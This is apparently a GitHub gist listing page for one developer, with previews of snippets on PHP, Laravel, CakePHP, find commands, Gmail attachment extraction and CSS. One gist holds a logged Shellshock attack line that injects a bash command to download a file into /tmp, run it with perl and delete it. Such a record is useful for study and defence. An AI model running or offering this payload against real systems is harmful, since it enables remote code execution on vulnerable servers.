Skip to content

Instantly share code, notes, and snippets.


Saji Nediyanchath saji89

View GitHub Profile
saji89 /
Created Aug 28, 2018 — forked from stefansundin/
Extract attachments from emails that Gmail doesn't allow you to download. This is dumb. Please use Python >= 3.4.
#!/usr/bin/env python3
# Get your files that Gmail block. Warning message:
# "Anti-virus warning - 1 attachment contains a virus or blocked file. Downloading this attachment is disabled."
# Based on:
# Instructions:
# Go to your emails, click the arrow button in the top right, "Show original", then "Download Original".
# Move the files to the same directory as this program, then run it.
import email
saji89 /
Last active Jun 29, 2017
Steps to setup PHP code sniffer package in Sublime text


  1. Install the package using Package Control - PhpCs(sublime-phpcs)

  2. Download the phar files needed for the functioning of the plugin:

curl -OL
curl -OL
saji89 / Laravel\app\commands\ViewsCommand.php
Created Jun 10, 2016 — forked from cjonstrup/Laravel\app\commands\ViewsCommand.php
Clear Laravel 4.* app/storage/views artisan views:clear
View Laravel\app\commands\ViewsCommand.php
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
class ViewsCommand extends Command {
* The console command name.
* @var string
saji89 / json_unicode_decode.php
Created Oct 15, 2015
Unicode encoded value conversion
View json_unicode_decode.php
function unescapeUTF8EscapeSeq($str)
return preg_replace_callback("/\\\u([0-9a-f]{4})/i",
'return html_entity_decode(\'&#x\'.$matches[1].\';\', ENT_QUOTES, \'UTF-8\');'
), $str);
$unicodeEncodedvalue = '\u041d\u0438\u043a\u043e\u043b\u0430\u0439 \u0420\u0435\u0448\u0438\u0442\u043a\u043e';
saji89 /
Last active Aug 29, 2015
Cake PHP Conventions

Controller class names

Plural, CamelCased, and end in Controller

Multiword Controller URLS's

Multiple word controllers can be any ‘inflected’ form which equals the controller name so:

saji89 /
Created Oct 3, 2014
Commands of interest
    find . \( -name "*.c" -o -name "*.h" -o -name "*.sc" -o -name "*.ini" \) -print
    find . -type f \( -name "*.avi" -name "*.mp4" -name "*.mkv" -name "*.mpg" -name "*.mpeg"\)
saji89 /
Last active Aug 29, 2015
Abstract class vs Interface (In PHP)
Abstract Class Interface
A method must be declared as abstract. Abstract methods doesn't have any implementation All methods, by default are abstract methods only. So, one cannot declare variables or concrete methods in interfaces
Abstract methods can be declared with access modifiers like public, private, protected. When implementing in subclass these methods must be defined with the same visibility All methods in an interface must be declared public
Abstract class can contain variables and concrete methods Interface cannot contain variables and concrete methods, except constants
A class can inherit only one abstract class ( multiple inheritance is not possible ) A class can implement, many interfaces ( multiple inheritance is possible )


Abstract class

View abstract vs interface
| Tables | Are | Cool |
| ------------- |:-------------:| -----:|
| col 3 is | right-aligned | $1600 |
| col 2 is | centered | $12 |
| zebra stripes | are neat | $1 |
View jur
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget;curl -O ; perl /tmp/jur;rm -rf /tmp/jur\x22
View Pure-CSS-Taj-Mahal.markdown

Pure CSS Taj Mahal

Pure CSS Taj Mahal by Jan Dennison @jannypie Inspired by the pure CSS White House by Kevin Jannis @kevinjannis

A Pen by jan dennison on CodePen.


You can’t perform that action at this time.